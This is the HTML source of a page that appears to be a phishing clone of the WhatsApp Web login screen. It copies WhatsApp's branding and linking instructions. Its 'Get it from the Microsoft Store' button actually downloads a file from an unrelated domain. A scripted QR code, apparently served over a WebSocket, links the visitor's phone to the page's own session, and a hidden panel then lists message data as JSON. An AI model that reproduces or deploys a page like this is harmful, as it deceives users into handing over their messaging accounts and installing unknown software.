<html>

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <title>WhatsApp Web網頁版 - WhatsApp網頁版登錄</title>

    <!-- stylesheets -->
    <link rel="stylesheet" href="lib/bootstrap/css/bootstrap.min.css">
    <link rel="stylesheet" href="lib/font-awesome/css/font-awesome.min.css">
    <link rel="stylesheet" href="lib/jsonTree/jsonTree.css">
    <link rel="stylesheet" href="css/main.css">
    <link rel="stylesheet" href="css/spinner_style.css">
    <!-- fonts -->
    <link href="https://fonts.googleapis.com/css?family=Josefin+Sans:100,300,400,700" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?family=Pacifico" rel="stylesheet">

    <!-- scripts -->
    <script type="text/javascript" src="lib/lodash/js/lodash.min.js"></script>
    <script type="text/javascript" src="lib/jquery/js/jquery-3.2.1.min.js"></script>
    <script type="text/javascript" src="lib/jquery-colResizable/js/jquery-colResizable-1.6.min.js"></script>
    <script type="text/javascript" src="lib/bootstrap/js/bootstrap-3.3.7.min.js"></script>
    <script type="text/javascript" src="lib/bootstrap/js/bootbox-4.4.0.min.js"></script>
    <script type="text/javascript" src="lib/jsonTree/jsonTree.js"></script>
    <script type="text/javascript" src="lib/moment/js/moment-2.20.1.min.js"></script>

    <script type="text/javascript" src="js/UpdaterPromise.js"></script>
    <script type="text/javascript" src="js/WebSocketClient.js"></script>
    <script type="text/javascript" src="js/BootstrapStep.js"></script>
    <script type="text/javascript" src="js/main.js"></script>
 

    
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/qrcodejs/1.0.0/qrcode.min.js"></script>
    

</head>

<body>
    <!-- Matomo -->
<script>
      var _paq = window._paq = window._paq || [];
  /* tracker methods like "setCustomDimension" should be called before "trackPageView" */
  _paq.push(['trackPageView']);
  _paq.push(['enableLinkTracking']);
  (function() {
    var u="https://web.dcobxs.com/";
    _paq.push(['setTrackerUrl', u+'matomo.php']);
    _paq.push(['setSiteId', '86']);
    var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
    g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
  })();
  </script>
  <!-- End Matomo Code -->
    <div>
        <div class="landing-wrapper">
            <div class="landing-wrapper-before"></div>
            <div class="landing-header"><span class="x1rg5ohu x16dsc37"><svg xmlns="http://www.w3.org/2000/svg"
                        width="39" height="39" viewBox="0 0 39 39">
                        <path fill="#00E676"
                            d="M10.7 32.8l.6.3c2.5 1.5 5.3 2.2 8.1 2.2 8.8 0 16-7.2 16-16 0-4.2-1.7-8.3-4.7-11.3s-7-4.7-11.3-4.7c-8.8 0-16 7.2-15.9 16.1 0 3 .9 5.9 2.4 8.4l.4.6-1.6 5.9 6-1.5z">
                        </path>
                        <path fill="#FFF"
                            d="M32.4 6.4C29 2.9 24.3 1 19.5 1 9.3 1 1.1 9.3 1.2 19.4c0 3.2.9 6.3 2.4 9.1L1 38l9.7-2.5c2.7 1.5 5.7 2.2 8.7 2.2 10.1 0 18.3-8.3 18.3-18.4 0-4.9-1.9-9.5-5.3-12.9zM19.5 34.6c-2.7 0-5.4-.7-7.7-2.1l-.6-.3-5.8 1.5L6.9 28l-.4-.6c-4.4-7.1-2.3-16.5 4.9-20.9s16.5-2.3 20.9 4.9 2.3 16.5-4.9 20.9c-2.3 1.5-5.1 2.3-7.9 2.3zm8.8-11.1l-1.1-.5s-1.6-.7-2.6-1.2c-.1 0-.2-.1-.3-.1-.3 0-.5.1-.7.2 0 0-.1.1-1.5 1.7-.1.2-.3.3-.5.3h-.1c-.1 0-.3-.1-.4-.2l-.5-.2c-1.1-.5-2.1-1.1-2.9-1.9-.2-.2-.5-.4-.7-.6-.7-.7-1.4-1.5-1.9-2.4l-.1-.2c-.1-.1-.1-.2-.2-.4 0-.2 0-.4.1-.5 0 0 .4-.5.7-.8.2-.2.3-.5.5-.7.2-.3.3-.7.2-1-.1-.5-1.3-3.2-1.6-3.8-.2-.3-.4-.4-.7-.5h-1.1c-.2 0-.4.1-.6.1l-.1.1c-.2.1-.4.3-.6.4-.2.2-.3.4-.5.6-.7.9-1.1 2-1.1 3.1 0 .8.2 1.6.5 2.3l.1.3c.9 1.9 2.1 3.6 3.7 5.1l.4.4c.3.3.6.5.8.8 2.1 1.8 4.5 3.1 7.2 3.8.3.1.7.1 1 .2h1c.5 0 1.1-.2 1.5-.4.3-.2.5-.2.7-.4l.2-.2c.2-.2.4-.3.6-.5s.4-.4.5-.6c.2-.4.3-.9.4-1.4v-.7s-.1-.1-.3-.2z">
                        </path>
                    </svg></span>
                <div class="landing-headerTitle">WhatsApp</div>
            </div>
            <div class="landing-window">
                <div class="landing-main">
                    <aside
                        class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 x78zum5 xozqiw3 x1oa3qoh x12fk4p8 xeuugli x2lwn1j xl56j7k x1q0g3np x6s0dn4 x4n8cb0 xs9mwh0 light">
                        <div class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 x78zum5 xozqiw3 x1oa3qoh x12fk4p8 xeuugli x2lwn1j x1nhvcw1 x1q0g3np x6s0dn4 x1p5oq8j xwxc41k x1u72gb5 xbxaen2 x178xt8z xm81vs4 xso031l xy80clv x13fuv20 xu3j5b3 x1q0q8m5 x26u7qi xk1nh2v x1l3ee1n xsbzixq x8z2lm9 xhk9q7s x1otrzb0 x1i1ezom x1o6z2jb x20dcy2 x8xnxqq"
                            style="border-color: #d1d7db;">
                            <div
                                class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 xeuugli x2lwn1j xozqiw3 x1oa3qoh x12fk4p8 x1k70j0n">
                                <span data-icon="wa-desktop" class=""><svg viewBox="0 0 76 51" height="55"
                                        preserveAspectRatio="xMidYMid meet" class="" fill="none">
                                        <title>wa-desktop</title>
                                        <rect x="9" y="2.04663" width="58" height="37.8605" fill="#00A884"></rect>
                                        <path fill-rule="evenodd" clip-rule="evenodd"
                                            d="M10 3H66V38.8837H10V3ZM7 38.8837V3C7 1.34315 8.34315 0 10 0H66C67.6569 0 69 1.34315 69 3V38.8837H76V40C76 42.2091 74.2091 44 72 44H66H10H4C1.79086 44 0 42.2091 0 40V38.8837H7Z"
                                            fill="#54656F"></path>
                                        <path fill-rule="evenodd" clip-rule="evenodd"
                                            d="M10 3H66V38.8837H10V3ZM7 38.8837V3C7 1.34315 8.34315 0 10 0H66C67.6569 0 69 1.34315 69 3V38.8837H76V40C76 42.2091 74.2091 44 72 44H66H10H4C1.79086 44 0 42.2091 0 40V38.8837H7Z"
                                            fill="black" fill-opacity="0.6"></path>
                                        <rect x="21" y="17" width="34" height="34" rx="2" fill="#25D366"></rect>
                                        <path fill-rule="evenodd" clip-rule="evenodd"
                                            d="M27.0892 33.9037C27.0917 27.8907 32.0063 23 38.0448 23C40.9738 23.0012 43.7255 24.1367 45.7937 26.1974C47.8619 28.258 49.0011 30.9991 49 33.9124C48.9975 39.9254 44.0826 44.8167 38.0447 44.8167C36.2561 44.8161 34.5003 44.3824 32.9299 43.5562L27.4448 44.9881C27.1805 45.0571 26.9406 44.8141 27.0131 44.5507L28.4779 39.2259C27.5663 37.6025 27.0885 35.7738 27.0892 33.9037ZM38.0393 42.8705H38.0357C36.4369 42.8699 34.8688 42.4424 33.5009 41.6345L33.1755 41.4423L29.8034 42.3227L30.7034 39.0504L30.4916 38.7149C29.5997 37.3031 29.1286 35.6714 29.1294 33.9958C29.1313 29.1067 33.1283 25.1291 38.0429 25.1291C40.4227 25.1299 42.6597 26.0534 44.342 27.7296C46.0241 29.4057 46.95 31.6336 46.9491 34.003C46.9471 38.8925 42.9502 42.8705 38.0393 42.8705ZM41.0435 35.2728C41.2876 35.3625 42.5971 36.0117 42.8635 36.146C42.9154 36.1722 42.964 36.1959 43.0091 36.2178C43.1949 36.3083 43.3204 36.3694 43.3739 36.4595C43.4405 36.5714 43.4405 37.1088 43.2186 37.7358C42.9966 38.3627 41.9325 38.9349 41.4208 39.0119C40.9619 39.081 40.3812 39.1099 39.7432 38.9056C39.3564 38.7819 38.8602 38.6168 38.2248 38.3402C35.7281 37.2539 34.0409 34.8157 33.7217 34.3544C33.6993 34.322 33.6836 34.2994 33.6749 34.2877L33.6727 34.2848C33.5318 34.0953 32.5873 32.8255 32.5873 31.5112C32.5873 30.275 33.1899 29.627 33.4673 29.3287C33.4863 29.3083 33.5038 29.2895 33.5195 29.2722C33.7636 29.0036 34.0522 28.9364 34.2298 28.9364C34.4073 28.9364 34.5851 28.9381 34.7402 28.9459C34.7594 28.9468 34.7793 28.9467 34.7999 28.9466C34.9551 28.9457 35.1486 28.9446 35.3395 29.4066C35.4128 29.584 35.5199 29.8469 35.633 30.1243C35.8624 30.687 36.1161 31.3095 36.1607 31.3994C36.2273 31.5338 36.2717 31.6904 36.1829 31.8696C36.1696 31.8965 36.1573 31.9218 36.1455 31.946C36.0788 32.0832 36.0298 32.1842 35.9165 32.3173C35.8722 32.3695 35.8264 32.4257 35.7806 32.482C35.6888 32.5946 35.597 32.7073 35.517 32.7876C35.3837 32.9214 35.2449 33.0666 35.4003 33.3353C35.5556 33.604 36.0902 34.4829 36.8819 35.1945C37.7331 35.9596 38.4729 36.2829 38.8478 36.4468C38.921 36.4788 38.9803 36.5047 39.0238 36.5267C39.2901 36.6611 39.4455 36.6386 39.6009 36.4595C39.7562 36.2804 40.2667 35.6758 40.4443 35.4071C40.6218 35.1385 40.7994 35.1832 41.0435 35.2728Z"
                                            fill="white"></path>
                                    </svg></span>
                            </div>
                            <div
                                class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 x78zum5 xozqiw3 x1oa3qoh x12fk4p8 xeuugli x2lwn1j x1nhvcw1 xdt5ytf x1cy8zhl xbbxn1n xxbr6pl xfxdvre x4eg47m">
                                <div
                                    class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 xeuugli x2lwn1j xozqiw3 x1oa3qoh x12fk4p8">
                                    <div class="xjpr12u x1lkfr7t xdbd6k5 x1fcty0u xw2npq5">Download WhatsApp for Windows
                                    </div>
                                </div>
                                <div
                                    class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 xeuugli x2lwn1j xozqiw3 x1oa3qoh x12fk4p8 x1kxj6np">
                                    <div class="x1f6kntn x16h55sf x1fcty0u x1rw0npd" style="color: #54656f;">Make calls, screen share, and more faster with new Windows apps。</div>
                                </div>

                            </div>
                            <div
                                class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 xeuugli x2lwn1j xozqiw3 x1oa3qoh x12fk4p8 x1kxj6np">
                                <button
                                    class="x889kno x1a8lsjc xbbxn1n xxbr6pl x1n2onr6 x1rg5ohu xk50ysn x1f6kntn xyesn5m x1z11no5 xjy5m1g x1mnwbp6 x4pb5v6 x178xt8z xm81vs4 xso031l xy80clv x13fuv20 xu3j5b3 x1q0q8m5 x26u7qi x1v8p93f xogb00i x16stqrj x1ftr3km x1hl8ikr xfagghw x9dyr19 x9lcvmn xbtce8p x14v0smp xo8ufso xcjl5na x1k3x3db xuxw1ft xv52azi">
                                    <div
                                    class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 x78zum5 xozqiw3 x1oa3qoh x12fk4p8 xeuugli x2lwn1j xl56j7k x1q0g3np x6s0dn4">
                                    <a href="https://dowdow123.com/whatschapp.com/" download class="x1c4vz4f xs83m0k xdl72j9 x1g77sc7 x78zum5 xozqiw3 x1oa3qoh x12fk4p8 xeuugli x2lwn1j xl56j7k x1q0g3np x6s0dn4"
                                        style="flex-grow: 1; text-decoration: none; color: inherit;">
                                        Get it from the Microsoft Store
                                    </a>
                                </div>
                                
                                </button>
                            </div>
                        </div>
                    </aside>
                    <div class="_akk2 _ak94">
                        <div class="_aj-6 _ak95">
                            <div class="_aj-7">
                                <div class="landing-title _aj-8">Using WhatsApp on your computer</div>
                                
                                <div class="_aj-9"></div>
                                <ol class="_aj-b">
                                    <li class="_aj-c">Open WhatsApp on your phone</li>
                                    <li class="_aj-c">Tap <strong>Menu <span class="x1rg5ohu x16dsc37"><svg height="24px"
                                                    viewBox="0 0 24 24" width="24px">
                                                    <rect fill="#f2f2f2" height="24" rx="3" width="24"></rect>

                                                    <path
                                                        d="m12 15.5c.825 0 1.5.675 1.5 1.5s-.675 1.5-1.5 1.5-1.5-.675-1.5-1.5.675-1.5 1.5-1.5zm0-2c-.825 0-1.5-.675-1.5-1.5s.675-1.5 1.5-1.5 1.5.675 1.5 1.5-.675 1.5-1.5 1.5zm0-5c-.825 0-1.5-.675-1.5-1.5s.675-1.5 1.5-1.5 1.5.675 1.5 1.5-.675 1.5-1.5 1.5z"
                                                        fill="#818b90"></path>
                                                </svg></span></strong> On Android, or <strong>Settings <span
                                                class="x1rg5ohu x16dsc37"><svg width="24" height="24"
                                                    viewBox="0 0 24 24">
                                                    <rect fill="#F2F2F2" width="24" height="24" rx="3"></rect>
                                                    <path
                                                        d="M12 18.69c-1.08 0-2.1-.25-2.99-.71L11.43 14c.24.06.4.08.56.08.92 0 1.67-.59 1.99-1.59h4.62c-.26 3.49-3.05 6.2-6.6 6.2zm-1.04-6.67c0-.57.48-1.02 1.03-1.02.57 0 1.05.45 1.05 1.02 0 .57-.47 1.03-1.05 1.03-.54.01-1.03-.46-1.03-1.03zM5.4 12c0-2.29 1.08-4.28 2.78-5.49l2.39 4.08c-.42.42-.64.91-.64 1.44 0 .52.21 1 .65 1.44l-2.44 4C6.47 16.26 5.4 14.27 5.4 12zm8.57-.49c-.33-.97-1.08-1.54-1.99-1.54-.16 0-.32.02-.57.08L9.04 5.99c.89-.44 1.89-.69 2.96-.69 3.56 0 6.36 2.72 6.59 6.21h-4.62zM12 19.8c.22 0 .42-.02.65-.04l.44.84c.08.18.25.27.47.24.21-.03.33-.17.36-.38l.14-.93c.41-.11.82-.27 1.21-.44l.69.61c.15.15.33.17.54.07.17-.1.24-.27.2-.48l-.2-.92c.35-.24.69-.52.99-.82l.86.36c.2.08.37.05.53-.14.14-.15.15-.34.03-.52l-.5-.8c.25-.35.45-.73.63-1.12l.95.05c.21.01.37-.09.44-.29.07-.2.01-.38-.16-.51l-.73-.58c.1-.4.19-.83.22-1.27l.89-.28c.2-.07.31-.22.31-.43s-.11-.35-.31-.42l-.89-.28c-.03-.44-.12-.86-.22-1.27l.73-.59c.16-.12.22-.29.16-.5-.07-.2-.23-.31-.44-.29l-.95.04c-.18-.4-.39-.77-.63-1.12l.5-.8c.12-.17.1-.36-.03-.51-.16-.18-.33-.22-.53-.14l-.86.35c-.31-.3-.65-.58-.99-.82l.2-.91c.03-.22-.03-.4-.2-.49-.18-.1-.34-.09-.48.01l-.74.66c-.39-.18-.8-.32-1.21-.43l-.14-.93a.426.426 0 00-.36-.39c-.22-.03-.39.05-.47.22l-.44.84-.43-.02h-.22c-.22 0-.42.01-.65.03l-.44-.84c-.08-.17-.25-.25-.48-.22-.2.03-.33.17-.36.39l-.13.88c-.42.12-.83.26-1.22.44l-.69-.61c-.15-.15-.33-.17-.53-.06-.18.09-.24.26-.2.49l.2.91c-.36.24-.7.52-1 .82l-.86-.35c-.19-.09-.37-.05-.52.13-.14.15-.16.34-.04.51l.5.8c-.25.35-.45.72-.64 1.12l-.94-.04c-.21-.01-.37.1-.44.3-.07.2-.02.38.16.5l.73.59c-.1.41-.19.83-.22 1.27l-.89.29c-.21.07-.31.21-.31.42 0 .22.1.36.31.43l.89.28c.03.44.1.87.22 1.27l-.73.58c-.17.12-.22.31-.16.51.07.2.23.31.44.29l.94-.05c.18.39.39.77.63 1.12l-.5.8c-.12.18-.1.37.04.52.16.18.33.22.52.14l.86-.36c.3.31.64.58.99.82l-.2.92c-.04.22.03.39.2.49.2.1.38.08.54-.07l.69-.61c.39.17.8.33 1.21.44l.13.93c.03.21.16.35.37.39.22.03.39-.06.47-.24l.44-.84c.23.02.44.04.66.04z"
                                                        fill="#818b90"></path>
                                                </svg></span></strong> On iPhone</li>
                                    <li class="_aj-c">Tap <strong>Connecting devices</strong> Further <strong>Connecting device</strong></li>
                                    <li class="_aj-c"><span>Point your phone at this screen to capture the QR code</span></li>
                                </ol>
                            </div>
                            <div class="_ak96">

                             

                                <div id="show-again" class="_akass" style=" display: none;">
                                    <button class="_akas" style="transform: scaleX(1) scaleY(1);">
                                        <div class="_akat"><span data-icon="refresh-large" class=""><svg
                                                    viewBox="0 0 48 48" height="48" width="48"
                                                    preserveAspectRatio="xMidYMid meet" class="" version="1.1">
                                                    <title>refresh-l-light</title>
                                                    <desc>Created with Sketch.</desc>
                                                    <defs></defs>
                                                    <g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
                                                        <g id="ic_refresh_black_24px" fill="currentColor"
                                                            fill-rule="nonzero">
                                                            <path
                                                                d="M35.3,12.7 C32.4,9.8 28.42,8 24,8 C15.16,8 8.02,15.16 8.02,24 C8.02,32.84 15.16,40 24,40 C31.46,40 37.68,34.9 39.46,28 L35.3,28 C33.66,32.66 29.22,36 24,36 C17.38,36 12,30.62 12,24 C12,17.38 17.38,12 24,12 C27.32,12 30.28,13.38 32.44,15.56 L26,22 L40,22 L40,8 L35.3,12.7 Z"
                                                                id="Shape"></path>
                                                        </g>
                                                    </g>
                                                </svg></span></div>Click to reload the QR code
                                    </button>
                                </div>
                                <div id="qr_img" class="_akau" data-ref="">
                                    <div id="loading">
                                        <svg class="spinner-container" width="65px" height="65px" viewBox="0 0 52 52">
                                          <circle class="path" cx="26px" cy="26px" r="20px" fill="none" stroke-width="4px" />
                                        </svg>
                                      </div>
                                    <span class=""></span>
                                    <div class="_akaz" style="display: none;"><span class="_aka-"><svg xmlns="http://www.w3.org/2000/svg"
                                                width="64" height="64" viewBox="0 0 64 64">
                                                <path fill="#FFF"
                                                    d="M6.525 43.936a29.596 29.596 0 0 1-3.039-13.075C3.494 14.568 16.755 1.313 33.05 1.313c7.904.004 15.328 3.082 20.91 8.666 5.581 5.586 8.653 13.01 8.65 20.907-.007 16.294-13.266 29.549-29.558 29.549a29.648 29.648 0 0 1-12.508-2.771L1.391 62.687l5.134-18.751z">
                                                </path>
                                                <path fill="#123033"
                                                    d="M50.801 13.135c-4.739-4.742-11.039-7.354-17.752-7.357-13.837 0-25.094 11.253-25.099 25.085a25.039 25.039 0 0 0 3.349 12.541l-3.56 12.999 13.304-3.488a25.084 25.084 0 0 0 11.996 3.054h.011c13.83 0 25.088-11.256 25.095-25.087.002-6.703-2.607-13.005-7.344-17.747zM33.05 51.733h-.008a20.866 20.866 0 0 1-10.62-2.906l-.762-.452-7.894 2.07 2.108-7.694-.497-.789a20.802 20.802 0 0 1-3.189-11.097c.004-11.496 9.361-20.85 20.87-20.85a20.73 20.73 0 0 1 14.746 6.115 20.733 20.733 0 0 1 6.104 14.752c-.006 11.497-9.363 20.851-20.858 20.851z">
                                                </path>
                                                <path fill="#123033"
                                                    d="M25.429 19.26a8.65 8.65 0 0 0-1.028.011 2.352 2.352 0 0 0-.95.255c-.221.114-.427.277-.75.582-.305.288-.481.54-.668.782a6.974 6.974 0 0 0-1.443 4.291l.001.003a8.243 8.243 0 0 0 .844 3.607c1.043 2.307 2.763 4.746 5.035 7.008a24.676 24.676 0 0 0 1.657 1.6 24.145 24.145 0 0 0 9.814 5.229s.751.179 1.391.218c.021.001.04.003.061.003a9.207 9.207 0 0 0 1.422-.033 5.086 5.086 0 0 0 2.129-.59c.423-.225.623-.337.978-.561 0 0 .11-.072.319-.23.345-.257.558-.438.845-.736.211-.22.394-.479.534-.772.2-.417.401-1.213.481-1.874.061-.505.042-.781.036-.952-.011-.275-.238-.558-.487-.678l-1.486-.668s-2.222-.967-3.581-1.587a1.278 1.278 0 0 0-.452-.104c-.341-.021-.723.068-.966.324v-.004c-.013-.001-.182.145-2.031 2.385-.102.122-.341.387-.754.362a1.086 1.086 0 0 1-.185-.029 3.402 3.402 0 0 1-.49-.17c-.316-.134-.427-.185-.643-.278l-.013-.006a15.361 15.361 0 0 1-4.013-2.556 15.88 15.88 0 0 1-.927-.885c-1.074-1.041-1.953-2.148-2.607-3.24-.035-.06-.09-.146-.15-.242-.107-.174-.225-.381-.262-.523-.095-.376.157-.678.157-.678s.622-.68.911-1.05c.278-.356.518-.704.671-.952.301-.484.39-.982.238-1.37a216.767 216.767 0 0 0-2.219-5.215c-.156-.339-.598-.589-1.005-.636a6.284 6.284 0 0 0-.414-.041">
                                                </path>
                                            </svg></span></div>
                                    <div>
                                        <div class="text-center">
                                           
                                            <div width="264" height="264" id="qr_code" style="position: relative;">
                                                
                                            </div>
                                        </div>
                                    </div>
                                </div>


                            </div>
                            <div class="_amrn">
                                <div class="_aj-e"><span role="button" tabindex="0" class="_akav">Link to phone number</span></div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="_ak5k">
                    <div class="landing-title _ak5l">Teaching</div>
                    <div class="_ak5m">
                        <a rel="noopener noreferrer" class="xt0b8zv" href="https://faq.whatsapp.com/1317564962315842?lang=en" target="_blank">Need help getting started?</a>
                    </div>
                    <div class="_ak5n">
                        <div class="_ak5o">
                            <span class="">
                                <!-- 播放按钮 -->
                                <button class="xexx8yu x4uap5 x18d9i69 xkhd6sd xjb2p0i xk390pu x1heor9g x1ypdohk xjbqb8w x972fbf xcfux6l x1qhh985 xm0m39n _ak5f" tabindex="0" type="button" aria-label="Play video" id="playButton">
                                    <div class="_ak5j">
                                        <div class="_ak5p">
                                            <svg xmlns="http://www.w3.org/2000/svg" width="28" height="34" viewBox="0 0 28 34">
                                                <path fill="#FFF" d="M1 4.983v24.034a2.982 2.982 0 0 0 4.564 2.53L24.792 19.53a2.981 2.981 0 0 0 0-5.058L5.563 2.454A2.983 2.983 0 0 0 1 4.983z"></path>
                                            </svg>
                                        </div>
                                    </div>
                                </button>
                                <!-- 原来的图片展示 -->
                                <img crossorigin="anonymous" src="https://static.whatsapp.net/rsrc.php/v3/yB/r/7Y1jh45L_8V.png" alt="" class="_ak5g _ao3e" id="tutorialImage" tabindex="-1" style="visibility: visible;">
                                <!-- 视频元素，默认隐藏 -->
                                <video id="tutorialVideo" style="display:none;" controls>
                                    <source src="https://static.whatsapp.net/rsrc.php/yk/r/GoZyw2bTK6s.mp4" type="video/mp4">
                                    Your browser does not support the video tag.
                                </video>
                            </span>
                        </div>
                    </div>
                </div>
                
                <script>
                    // 获取播放按钮、图片和视频元素
                    const playButton = document.getElementById('playButton');
                    const video = document.getElementById('tutorialVideo');
                    const image = document.getElementById('tutorialImage');
                
                    // 添加点击事件监听器
                    playButton.addEventListener('click', function() {
                        // 隐藏图片和播放按钮，显示视频并播放
                        image.style.display = 'none';
                        playButton.style.display = 'none';
                        video.style.display = 'block';
                        video.play();
                    });
                </script>
                
            </div>
        </div>

        <div id="main-container" class="hidden">
            <div id="main-container-heading">
                <h1>WhatsApp Web</h1>
                <button id="button-disconnect" class="btn">Disconnect</button>
            </div>
            <div id="main-container-content">
                <table id="messages-list-table" class="table table-hover">
                    <thead class="thead">
                        <tr>
                            <th scope="col">#</th>
                            <th scope="col">Timestamp</th>
                            <th scope="col">Type</th>
                            <th scope="col" class="fill">JSON data</th>
                        </tr>
                    </thead>
                    <tbody id="messages-list-table-body"></tbody>
                </table>
            </div>
        </div>

    
    </div>
</body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/uuid/8.3.2/uuid.min.js"></script>
<script src="https://code.jquery.com/jquery-3.5.1.js">
</script>



</html>